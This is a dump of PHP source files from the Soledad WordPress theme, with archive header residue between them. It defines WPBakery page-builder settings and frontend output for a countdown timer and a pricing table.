			array(
				'type'       => 'dropdown',
				'heading'    => __( 'Posttion', 'soledad' ),
				'param_name' => 'count_down_posttion',
				'std'        => 'center',
				'value'      => array(
					__( 'Left', 'soledad' )   => 'left',
					__( 'Center', 'soledad' ) => 'center',
					__( 'Right', 'soledad' )  => 'right',
				),
			),
			array(
				'type'             => 'textfield',
				'heading'          => esc_html__( 'Year', 'soledad' ),
				'param_name'       => 'count_year',
				'admin_label'      => true,
				'edit_field_class' => 'vc_col-sm-2',
			),
			array(
				'type'             => 'textfield',
				'heading'          => esc_html__( 'Month', 'soledad' ),
				'param_name'       => 'count_month',
				'admin_label'      => true,
				'edit_field_class' => 'vc_col-sm-2',
			),
			array(
				'type'             => 'textfield',
				'heading'          => esc_html__( 'Day', 'soledad' ),
				'param_name'       => 'count_day',
				'admin_label'      => true,
				'edit_field_class' => 'vc_col-sm-2',

			),
			array(
				'type'             => 'textfield',
				'heading'          => esc_html__( 'Hour', 'soledad' ),
				'param_name'       => 'count_hour',
				'admin_label'      => true,
				'edit_field_class' => 'vc_col-sm-2',

			),
			array(
				'type'             => 'textfield',
				'heading'          => esc_html__( 'Minus', 'soledad' ),
				'param_name'       => 'count_minus',
				'admin_label'      => true,
				'edit_field_class' => 'vc_col-sm-2',

			),
			array(
				'type'             => 'textfield',
				'heading'          => esc_html__( 'Sec', 'soledad' ),
				'param_name'       => 'count_sec',
				'admin_label'      => true,
				'edit_field_class' => 'vc_col-sm-2',
			),

			array(
				"type"       => "checkbox",
				"class"      => "",
				"heading"    => esc_html__( "Select time units to display in countdown timer", "penci-framework" ),
				"param_name" => "countdown_opts",
				"value"      => array(
					esc_html__( "Years", "penci-framework" )   => "Y",
					esc_html__( "Months", "penci-framework" )  => "O",
					esc_html__( "Weeks", "penci-framework" )   => "W",
					esc_html__( "Days", "penci-framework" )    => "D",
					esc_html__( "Hours", "penci-framework" )   => "H",
					esc_html__( "Minutes", "penci-framework" ) => "M",
					esc_html__( "Seconds", "penci-framework" ) => "S",
				)
			),
			array(
				'type'       => 'dropdown',
				'heading'    => esc_html__( 'Timer digit border style', 'soledad' ),
				'param_name' => 'digit_border',
				'value'      => array(
					esc_html__( 'None', 'soledad' )   => '',
					esc_html__( 'Solid', 'soledad' )  => 'solid',
					esc_html__( 'Dashed', 'soledad' ) => 'dashed',
					esc_html__( 'Dotted', 'soledad' ) => 'dotted',
					esc_html__( 'Double', 'soledad' ) => 'double',
				),
				'dependency' => array( 'element' => 'count_down_style', 'value' => array( 's1' ) ),
			),
			array(
				'type'       => 'penci_responsive_sizes',
				'param_name' => 'digit_border_width',
				'heading'    => __( 'Timer digit border width', 'soledad' ),
				'suffix'     => 'px',
				'min'        => 1,
				'edit_field_class' => 'vc_col-sm-6',
				'dependency' => array( 'element' => 'digit_border', 'value' => array( 'solid', 'dashed', 'dotted', 'double' ) ),
			),
			array(
				'type'       => 'penci_responsive_sizes',
				'param_name' => 'digit_border_radius',
				'heading'    => __( 'Timer digit border radius', 'soledad' ),
				'suffix'     => 'px',
				'min'        => 1,
				'edit_field_class' => 'vc_col-sm-6',
				'dependency' => array( 'element' => 'digit_border', 'value' => array( 'solid', 'dashed', 'dotted', 'double' ) ),
			),
			array(
				'type'             => 'penci_responsive_sizes',
				'param_name'       => 'digit_padding',
				'heading'          => __( 'Timer digit padding', 'soledad' ),
				'suffix'           => 'px',
				'min'              => 1,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'penci_responsive_sizes',
				'param_name'       => 'unit_margin_top',
				'heading'          => __( 'Timer unit margin top', 'soledad' ),
				'suffix'           => 'px',
				'min'              => 1,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'penci_responsive_sizes',
				'param_name'       => 'countdown_item_width',
				'heading'          => __( 'Width of Countdown Section', 'soledad' ),
				'suffix'           => 'px',
				'min'              => 1,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'penci_responsive_sizes',
				'param_name'       => 'countdown_item_height',
				'heading'          => __( 'Height of Countdown Section', 'soledad' ),
				'suffix'           => 'px',
				'min'              => 1,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'       => 'penci_switch',
				'heading'    => __( 'Turn on uppearcase for label count down?', 'soledad' ),
				'true_state'       => 'yes',
				'false_state'      => 'no',
				'default'          => 'no',
				'std'              => 'no',
				'param_name' => 'cdtitle_upper'
			),
			// Transition
			array(
				'type'       => 'textfield',
				'class'      => '',
				'heading'    => esc_html__( 'Day (Singular)', 'soledad' ),
				'param_name' => 'str_days',
				'value'      => esc_html__( 'Day', 'soledad' ),
				'group'      => $group_trans
			),
			array(
				'type'       => 'textfield',
				'class'      => '',
				'heading'    => esc_html__( 'Days (Plural)', 'soledad' ),
				'param_name' => 'str_days2',
				'value'      => esc_html__( 'Days', 'soledad' ),
				'group'      => $group_trans
			),
			array(
				'type'       => 'textfield',
				'class'      => '',
				'heading'    => esc_html__( 'Week (Singular)', 'soledad' ),
				'param_name' => 'str_weeks',
				'value'      => esc_html__( 'Week', 'soledad' ),
				'group'      => $group_trans
			),
			array(
				'type'       => 'textfield',
				'class'      => '',
				'heading'    => esc_html__( 'Weeks (Plural)', 'soledad' ),
				'param_name' => 'str_weeks2',
				'value'      => esc_html__( 'Weeks', 'soledad' ),
				'group'      => $group_trans
			),
			array(
				'type'       => 'textfield',
				'class'      => '',
				'heading'    => esc_html__( 'Month (Singular)', 'soledad' ),
				'param_name' => 'str_months',
				'value'      => esc_html__( 'Month', 'soledad' ),
				'group'      => $group_trans
			),
			array(
				'type'       => 'textfield',
				'class'      => '',
				'heading'    => esc_html__( 'Months (Plural)', 'soledad' ),
				'param_name' => 'str_months2',
				'value'      => esc_html__( 'Months', 'soledad' ),
				'group'      => $group_trans
			),
			array(
				'type'       => 'textfield',
				'class'      => '',
				'heading'    => esc_html__( 'Year (Singular)', 'soledad' ),
				'param_name' => 'str_years',
				'value'      => esc_html__( 'Year', 'soledad' ),
				'group'      => $group_trans
			),
			array(
				'type'       => 'textfield',
				'class'      => '',
				'heading'    => esc_html__( 'Years (Plural)', 'soledad' ),
				'param_name' => 'str_years2',
				'value'      => esc_html__( 'Years', 'soledad' ),
				'group'      => $group_trans
			),
			array(
				'type'       => 'textfield',
				'class'      => '',
				'heading'    => esc_html__( 'Hour (Singular)', 'soledad' ),
				'param_name' => 'str_hours',
				'value'      => esc_html__( 'Hour', 'soledad' ),
				'group'      => $group_trans
			),
			array(
				'type'       => 'textfield',
				'class'      => '',
				'heading'    => esc_html__( 'Hours (Plural)', 'soledad' ),
				'param_name' => 'str_hours2',
				'value'      => esc_html__( 'Hours', 'soledad' ),
				'group'      => $group_trans
			),
			array(
				'type'       => 'textfield',
				'class'      => '',
				'heading'    => esc_html__( 'Minute (Singular)', 'soledad' ),
				'param_name' => 'str_minutes',
				'value'      => esc_html__( 'Minute', 'soledad' ),
				'group'      => $group_trans
			),
			array(
				'type'       => 'textfield',
				'class'      => '',
				'heading'    => esc_html__( 'Minutes (Plural)', 'soledad' ),
				'param_name' => 'str_minutes2',
				'value'      => esc_html__( 'Minutes', 'soledad' ),
				'group'      => $group_trans
			),
			array(
				'type'       => 'textfield',
				'class'      => '',
				'heading'    => esc_html__( 'Second (Singular)', 'soledad' ),
				'param_name' => 'str_seconds',
				'value'      => esc_html__( 'Second', 'soledad' ),
				'group'      => $group_trans
			),
			array(
				'type'       => 'textfield',
				'class'      => '',
				'heading'    => esc_html__( 'Seconds (Plural)', 'soledad' ),
				'param_name' => 'str_seconds2',
				'value'      => esc_html__( 'Seconds', 'soledad' ),
				'group'      => $group_trans
			),
			// Color
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Timer background color', 'soledad' ),
				'param_name'       => 'time_bgcolor',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
				'dependency'       => array( 'element' => 'count_down_style', 'value' => array( 's2', 's3', 's4' ) ),
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Timer border color', 'soledad' ),
				'param_name'       => 'time_bordercolor',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
				'dependency'       => array( 'element' => 'count_down_style', 'value' => array( 's2', 's3', 's4' ) ),
			),
			array(
				'type'             => 'textfield',
				'param_name'       => 'time_digit_heading',
				'heading'          => esc_html__( 'Timer digit', 'soledad' ),
				'value'            => '',
				'group'            => $group_color,
				'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Timer digit border color', 'soledad' ),
				'param_name'       => 'time_digit_bordercolor',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Timer digit background color', 'soledad' ),
				'param_name'       => 'time_digit_bgcolor',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
				'dependency'       => array( 'element' => 'count_down_style', 'value' => array( 's1' ) ),
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Timer digit color', 'soledad' ),
				'param_name'       => 'time_digit_color',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
				'dependency'       => array( 'element' => 'count_down_style', 'value' => array( 's1' ) ),
			),
			array(
				'type'       => 'google_fonts',
				'group'      => $group_color,
				'param_name' => 'time_digit_typo',
				'value'      => '',
			),
			array(
				'type'       => 'penci_responsive_sizes',
				'param_name' => 'time_digit_size',
				'heading'    => __( 'Font Size for Timer Digit', 'soledad' ),
				'suffix'     => 'px',
				'min'        => 1,
				'group'      => $group_color,
			),
			array(
				'type'       => 'dropdown',
				'heading'    => __( 'Font Weight for Timer Digit', 'soledad' ),
				'param_name' => 'time_weight',
				'std'        => 'center',
				'value'      => array(
					__( 'Default', 'soledad' ) => '',
					'normal'                   => 'Normal',
					'bold'                     => 'Bold',
					'bolder'                   => 'Bolder',
					'lighter'                  => 'Lighter',
					'100'                      => '100',
					'200'                      => '200',
					'300'                      => '300',
					'400'                      => '400',
					'500'                      => '500',
					'600'                      => '600',
					'700'                      => '700',
					'800'                      => '800',
					'900'                      => '900'
				),
				'group'      => $group_color,
			),
			array(
				'type'             => 'textfield',
				'param_name'       => 'unit_heading',
				'heading'          => esc_html__( 'Timer unit', 'soledad' ),
				'value'            => '',
				'group'            => $group_color,
				'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Timer unit color', 'soledad' ),
				'param_name'       => 'unit_color',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'       => 'google_fonts',
				'group'      => $group_color,
				'param_name' => 'unit_typo',
				'value'      => '',
			),
			array(
				'type'       => 'penci_responsive_sizes',
				'param_name' => 'unit_size',
				'heading'    => __( 'Font Size for Timer Unit', 'soledad' ),
				'suffix'     => 'px',
				'min'        => 1,
				'group'      => $group_color,
			),
		),
		Penci_Vc_Params_Helper::extra_params()
	)
) );
PK     N\ŕ
  
  2  inc/js_composer/shortcodes/count_down/frontend.phpnu [        <?php
$penci_block_width = $el_class = $css_animation = $css = '';

$count_down_style     = $count_down_posttion = $count_year = $count_month = $count_day = $count_hour = $count_minus = $count_sec = '';
$countdown_opts       = $digit_border = $digit_border_width = $digit_border_radius = $digit_padding = $unit_margin_top = '';
$countdown_item_width = $countdown_item_height = $cdtitle_upper = '';

$str_days         = $str_days2 = $str_weeks = $str_weeks2 = $str_months = $str_months2 = $str_years = $str_years2 = '';
$str_hours        = $str_hours2 = $str_minutes = $str_minutes2 = $str_seconds = $str_seconds2 = '';
$time_digit_color = $time_digit_bordercolor = $time_digit_bgcolor = $time_digit_size = $time_weight = $unit_color = $unit_size = '';
$time_bgcolor     = $time_bordercolor = '';
$time_digit_size  = $time_digit_typo = $unit_size = $unit_typo = $responsive_spacing = '';

$output = '';
$atts   = vc_map_get_attributes( $this->getShortcode(), $atts );
extract( $atts );

$class_to_filter = vc_shortcode_custom_css_class( $css, ' ' ) . $this->getExtraClass( $el_class ) . $this->getCSSAnimation( $css_animation );

$css_class = 'penci-countdown-bsc';
$css_class .= ' penci-countdown-' . $count_down_style;
$css_class .= ' penci-style-' . $count_down_posttion;
$css_class .= 'yes' == $cdtitle_upper ? ' penci-period-upper' : '';
$css_class .= ' ' . apply_filters( VC_SHORTCODE_CUSTOM_CSS_FILTER_TAG, $class_to_filter, $this->settings['base'], $atts );

$block_id = Penci_Vc_Helper::get_unique_id_block( 'count_down' );

// Data Until
$data_time = '';
$data_time .= $count_year ? $count_year : 0;
$data_time .= ',';
$data_time .= $count_month ? intval( $count_month ) - 1 : 0;
$data_time .= ',';
$data_time .= $count_day ? $count_day : 0;
$data_time .= ',';
$data_time .= $count_hour ? $count_hour : 0;
$data_time .= ',';
$data_time .= $count_minus ? $count_minus : 0;
$data_time .= ',';
$data_time .= $count_sec ? $count_sec : 0;

$labels  = sprintf( "['%s', '%s', '%s', '%s', '%s', '%s', '%s']", $str_years2, $str_weeks2, $str_months2, $str_days2, $str_hours2, $str_minutes2, $str_seconds2 );
$labels1 = sprintf( "['%s', '%s', '%s', '%s', '%s', '%s', '%s']", $str_years, $str_weeks, $str_months, $str_days, $str_hours, $str_minutes, $str_seconds );

// Data format YOWDHMS
$data_format = 'DHMS';
if ( $countdown_opts ) {
	$data_format = str_replace( ',', '', $countdown_opts );
}
?>
    <div id="<?php echo esc_attr( $block_id ) ?>" class="<?php echo esc_attr( $css_class ); ?>"></div>
    <script type="text/javascript">
        jQuery(function ($) {
            if ($.fn.countdown) {
                var <?php echo esc_attr( $block_id ); ?>newDateTime = new Date(<?php echo $data_time; ?> );

                $('#<?php echo esc_attr( $block_id ); ?>').countdown({
                    until: <?php echo esc_attr( $block_id ); ?>newDateTime,
                    labels: <?php echo $labels; ?>,
                    labels1: <?php echo $labels1; ?>,
                    timezone: <?php echo get_option( 'gmt_offset' ); ?>,
                    format: '<?php echo $data_format; ?>',
					<?php echo( is_rtl() ? 'isRTL: true' : '' ); ?>
                });
            }
        });
    </script>
<?php
$id_countdown = '#' . $block_id;
$id_countdown2 = 'body:not(.pcdm-enable) #' . $block_id;
$css_custom   = '';

if ( 's1' == $count_down_style ) {
	if ( $digit_border ) {
		$css_custom .= $id_countdown . '.penci-countdown-s1 .penci-countdown-amount { border-style: ' . ( $digit_border ) . ' }';

		if ( ! $digit_border_width ) {
			$css_custom .= $id_countdown . '.penci-countdown-s1 .penci-countdown-amount { border-width: 1px; }';
		}
	}

	if ( $digit_border_width ) {
		$css_custom .= $id_countdown . '.penci-countdown-s1 .penci-countdown-amount { border-width: ' . ( $digit_border_width ) . ' }';
	}
	if ( $digit_border_radius ) {
		$css_custom .= $id_countdown . '.penci-countdown-s1 .penci-countdown-amount { border-radius: ' . ( $digit_border_radius ) . ' }';
	}

	if ( $time_digit_bordercolor ) {
		$css_custom .= $id_countdown2 . '.penci-countdown-s1 .penci-countdown-amount { border-color: ' . ( $time_digit_bordercolor ) . ' }';
	}

	if ( $time_digit_bgcolor ) {
		$css_custom .= $id_countdown2 . '.penci-countdown-s1 .penci-countdown-amount { background-color: ' . ( $time_digit_bgcolor ) . ' }';
	}
} else {
	if ( $time_bgcolor ) {
		$css_custom .= $id_countdown2 . ' .penci-span-inner { background-color: ' . ( $time_bgcolor ) . ' }';
	}
	if ( $time_bordercolor ) {
		$css_custom .= $id_countdown2 . ' .penci-span-inner{ border-color: ' . ( $time_bordercolor ) . ' }';
	}
}

if ( $digit_padding ) {
	$css_custom .= penci_extract_md_responsive_fsize( $id_countdown . ' .penci-countdown-amount { padding: {{VALUE}}px }', $digit_padding );
}
if ( $unit_margin_top ) {
	$css_custom .= penci_extract_md_responsive_fsize( $id_countdown . ' .penci-countdown-period { margin-top: {{VALUE}}px }', $digit_padding );
}

if ( $countdown_item_width ) {
	$css_custom .= penci_extract_md_responsive_fsize( $id_countdown . ' .penci-countdown-section { width: {{VALUE}}px }', $countdown_item_width );
}
if ( $countdown_item_height ) {
	$css_custom .= penci_extract_md_responsive_fsize( $id_countdown . ' .penci-countdown-section{ height: {{VALUE}}px }', $countdown_item_height );
}


if ( $time_digit_color ) {
	$css_custom .= $id_countdown2 . ' .penci-countdown-amount { color:' . ( $time_digit_color ) . ' }';
}
$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
	'font_size'  => $time_digit_size,
	'font_style' => $time_digit_typo,
	'template'   => $id_countdown . ' .penci-countdown-amount{ %s }',
) );


if ( $unit_color ) {
	$css_custom .= $id_countdown2 . ' .penci-countdown-period{ color: ' . ( $unit_color ) . ' }';
}
$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
	'font_size'  => $unit_size,
	'font_style' => $unit_typo,
	'template'   => $id_countdown . ' .penci-countdown-period{ %s }',
) );

if ( $responsive_spacing ) {
	$css_custom .= penci_extract_spacing_style( $id_countdown, $responsive_spacing );
}

if ( $css_custom ) {
	echo '<style>';
	echo $css_custom;
	echo '</style>';
}
PK     N\F 0A  0A  5  inc/js_composer/shortcodes/pricing_table/settings.phpnu [        <?php
$group_color = 'Typo & Color';
$group_image = 'Image';

vc_map( array(
	'base'          => 'penci_pricing_table',
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name( 'Soledad' ),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/pricing_table/frontend.php',
	'weight'        => 700,
	'name'          => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Pricing Table', 'soledad' ),
	'description'   => __( 'Pricing Table Block', 'soledad' ),
	'controls'      => 'full',
	'params'        => array_merge( array(
			array(
				'type'        => 'penci_switch',
				'heading'     => __( 'Use image', 'soledad' ),
				'param_name'  => '_use_img',
				'true_state'  => 'yes',
				'false_state' => 'no',
				'default'     => 'no',
				'std'         => 'no',
			),
			array(
				'type'       => 'attach_image',
				'heading'    => esc_html__( 'Image', 'soledad' ),
				'param_name' => '_image',
				'dependency' => array( 'element' => '_use_img', 'value' => 'true', ),
				'group'      => $group_image,
			),
			array(
				'type'       => 'penci_responsive_sizes',
				'param_name' => 'image_width',
				'heading'    => __( 'Image width', 'soledad' ),
				'value'      => '',
				'std'        => '',
				'suffix'     => 'px',
				'min'        => 1,
				'dependency' => array( 'element' => '_use_img', 'value' => 'true', ),
				'group'      => $group_image,
			),
			array(
				'type'       => 'penci_responsive_sizes',
				'param_name' => 'image_height',
				'heading'    => __( 'Image height', 'soledad' ),
				'value'      => '',
				'std'        => '',
				'suffix'     => 'px',
				'min'        => 1,
				'dependency' => array( 'element' => '_use_img', 'value' => 'true', ),
				'group'      => $group_image,
			),
			array(
				'type'       => 'penci_responsive_sizes',
				'param_name' => 'image_mar_top',
				'heading'    => __( 'Image margin top', 'soledad' ),
				'value'      => '',
				'std'        => '',
				'suffix'     => 'px',
				'min'        => 1,
				'dependency' => array( 'element' => '_use_img', 'value' => 'true', ),
				'group'      => $group_image,
			),
			array(
				'type'       => 'penci_responsive_sizes',
				'param_name' => 'image_mar_bottom',
				'heading'    => __( 'Image margin bottom', 'soledad' ),
				'value'      => '',
				'std'        => '',
				'suffix'     => 'px',
				'min'        => 1,
				'dependency' => array( 'element' => '_use_img', 'value' => 'true', ),
				'group'      => $group_image,
			),
			array(
				'type'        => 'textfield',
				'heading'     => __( 'Pricing Name / Title', 'soledad' ),
				'param_name'  => '_heading',
				'description' => __( 'Enter the pricing name', 'soledad' ),
			),
			array(
				'type'        => 'textfield',
				'heading'     => __( 'Pricing  Subtitle', 'soledad' ),
				'param_name'  => '_subheading',
				'description' => __( 'Enter short description', 'soledad' ),
			),
			array(
				'type'        => 'textfield',
				'heading'     => __( 'Price', 'soledad' ),
				'param_name'  => '_price',
				'description' => __( 'Enter the price', 'soledad' ),
			),
			array(
				'type'        => 'textfield',
				'heading'     => __( 'Price Unit', 'soledad' ),
				'param_name'  => '_unit',
				'description' => __( 'Enter the price unit for this package. e.g. per month', 'soledad' ),
			),
			array(
				'type'        => 'textarea_html',
				'class'       => '',
				'heading'     => __( 'Features', 'ultimate_vc' ),
				'param_name'  => 'content',
				'value'       => '',
				'description' => __( 'Create the features list using un-ordered list elements.', 'soledad' ),
			),
			array(
				'type'        => 'textfield',
				'heading'     => __( 'Button Text', 'soledad' ),
				'param_name'  => '_btn_text',
				'description' => __( 'Enter call to action button text', 'soledad' ),
			),
			array(
				'type'        => 'vc_link',
				'class'       => '',
				'heading'     => __( 'Button Link', 'smile' ),
				'param_name'  => '_btn_link',
				'value'       => '',
				'description' => __( 'Select / enter the link for call to action button', 'ultimate_vc' ),
			),
			array(
				'type'       => 'penci_switch',
				'heading'    => esc_html__( 'Make this pricing box as featured', 'soledad' ),
				'param_name' => '_featured',
				'value'      => 'no',
			),
			array(
				'type'       => 'penci_only_number',
				'param_name' => 'min_height',
				'heading'    => __( 'Minimum height for pricing item', 'soledad' ),
				'value'      => '',
				'std'        => '',
				'suffix'     => 'px',
				'min'        => 1,
				'max'        => 1000,
			),
			array(
				'type'             => 'penci_responsive_sizes',
				'param_name'       => '_heading_mar_bottom',
				'heading'          => __( 'Pricing title margin bottom', 'soledad' ),
				'value'            => '',
				'std'              => '',
				'suffix'           => 'px',
				'min'              => 1,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'penci_responsive_sizes',
				'param_name'       => '_subheading_mar_b',
				'heading'          => __( 'Pricing subtitle margin bottom', 'soledad' ),
				'value'            => '',
				'std'              => '',
				'suffix'           => 'px',
				'min'              => 1,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'penci_responsive_sizes',
				'param_name'       => '_price_mar_bottom',
				'heading'          => __( 'Pricing margin bottom', 'soledad' ),
				'value'            => '',
				'std'              => '',
				'suffix'           => 'px',
				'min'              => 1,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'penci_responsive_sizes',
				'param_name'       => '_unit_mar_bottom',
				'heading'          => __( 'Price unit margin bottom', 'soledad' ),
				'value'            => '',
				'std'              => '',
				'suffix'           => 'px',
				'min'              => 1,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'penci_responsive_sizes',
				'param_name'       => '_features_martop',
				'heading'          => __( 'Features margin top', 'soledad' ),
				'value'            => '',
				'std'              => '',
				'suffix'           => 'px',
				'min'              => 1,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'penci_responsive_sizes',
				'param_name'       => '_features_bottom',
				'heading'          => __( 'Features margin bottom', 'soledad' ),
				'value'            => '',
				'std'              => '',
				'suffix'           => 'px',
				'min'              => 1,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'penci_responsive_sizes',
				'param_name'       => 'item_fea_bottom',
				'heading'          => __( 'Item of list features margin bottom', 'soledad' ),
				'value'            => '',
				'std'              => '',
				'suffix'           => 'px',
				'min'              => 1,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'penci_responsive_sizes',
				'param_name'       => 'btn_mar_top',
				'heading'          => __( 'Button margin top', 'soledad' ),
				'value'            => '',
				'std'              => '',
				'suffix'           => 'px',
				'min'              => 1,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'penci_responsive_sizes',
				'param_name'       => 'btn_width',
				'heading'          => __( 'Button width', 'soledad' ),
				'value'            => '',
				'std'              => '',
				'suffix'           => 'px',
				'min'              => 1,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'penci_responsive_sizes',
				'param_name'       => 'btn_height',
				'heading'          => __( 'Button Height', 'soledad' ),
				'value'            => '',
				'std'              => '',
				'suffix'           => 'px',
				'min'              => 1,
				'edit_field_class' => 'vc_col-sm-6',
			),

			// Title
			array(
				'type'             => 'textfield',
				'param_name'       => '_heading_settings',
				'heading'          => esc_html__( 'Title', 'soledad' ),
				'value'            => '',
				'group'            => $group_color,
				'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Title color', 'soledad' ),
				'param_name'       => '_heading_color',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'penci_responsive_sizes',
				'param_name'       => '_heading_fsize',
				'heading'          => __( 'Font Size for Pricing Title', 'soledad' ),
				'value'            => '',
				'std'              => '',
				'suffix'           => 'px',
				'min'              => 1,
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'       => 'google_fonts',
				'group'      => $group_color,
				'param_name' => '_heading_typo',
				'value'      => '',
			),

			// Typo & Color
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Background color for pricing item', 'soledad' ),
				'param_name'       => 'bg_color',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Border color for pricing item', 'soledad' ),
				'param_name'       => 'border_color',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),


			// Sub title
			array(
				'type'             => 'textfield',
				'param_name'       => '_heading_settings',
				'heading'          => esc_html__( 'Pricing Subtitle', 'soledad' ),
				'value'            => '',
				'group'            => $group_color,
				'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Pricing Subtitle', 'soledad' ),
				'param_name'       => '_subheading_color',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'penci_responsive_sizes',
				'param_name'       => '_subheading_fsize',
				'heading'          => __( 'Font Size for Pricing Title', 'soledad' ),
				'value'            => '',
				'std'              => '',
				'suffix'           => 'px',
				'min'              => 1,
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'       => 'google_fonts',
				'group'      => $group_color,
				'param_name' => '_subheading_typo',
				'value'      => '',
			),

			// Pricing table
			array(
				'type'             => 'textfield',
				'param_name'       => '_price_settings',
				'heading'          => esc_html__( 'Price', 'soledad' ),
				'value'            => '',
				'group'            => $group_color,
				'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Price color', 'soledad' ),
				'param_name'       => '_price_color',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'penci_responsive_sizes',
				'param_name'       => '_price_fsize',
				'heading'          => __( 'Font Size for Pricing', 'soledad' ),
				'value'            => '',
				'std'              => '',
				'suffix'           => 'px',
				'min'              => 1,
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'       => 'google_fonts',
				'group'      => $group_color,
				'param_name' => '_price_typo',
				'value'      => '',
			),

			// Unit table
			array(
				'type'             => 'textfield',
				'param_name'       => '_price_settings',
				'heading'          => esc_html__( 'Price Unit', 'soledad' ),
				'value'            => '',
				'group'            => $group_color,
				'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Price Unit color', 'soledad' ),
				'param_name'       => '_unit_color',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'penci_responsive_sizes',
				'param_name'       => '_unit_fsize',
				'heading'          => __( 'Font Size for Price Unit', 'soledad' ),
				'value'            => '',
				'std'              => '',
				'suffix'           => 'px',
				'min'              => 1,
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'       => 'google_fonts',
				'group'      => $group_color,
				'param_name' => '_unit_typo',
				'value'      => '',
			),
			// Features
			array(
				'type'             => 'textfield',
				'param_name'       => '_features_settings',
				'heading'          => esc_html__( 'Features', 'soledad' ),
				'value'            => '',
				'group'            => $group_color,
				'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Features color', 'soledad' ),
				'param_name'       => 'features_color',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'penci_responsive_sizes',
				'param_name'       => 'features_fsize',
				'heading'          => __( 'Font Size for Pricing', 'soledad' ),
				'value'            => '',
				'std'              => '',
				'suffix'           => 'px',
				'min'              => 1,
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'       => 'google_fonts',
				'group'      => $group_color,
				'param_name' => 'features_typo',
				'value'      => '',
			),

			// Button
			array(
				'type'             => 'textfield',
				'param_name'       => '_btn_settings',
				'heading'          => esc_html__( 'Button', 'soledad' ),
				'value'            => '',
				'group'            => $group_color,
				'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Button background color', 'soledad' ),
				'param_name'       => 'btn_bgcolor',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Button border color', 'soledad' ),
				'param_name'       => 'btn_borcolor',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Button text color', 'soledad' ),
				'param_name'       => 'btn_text_color',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'colorpicker',
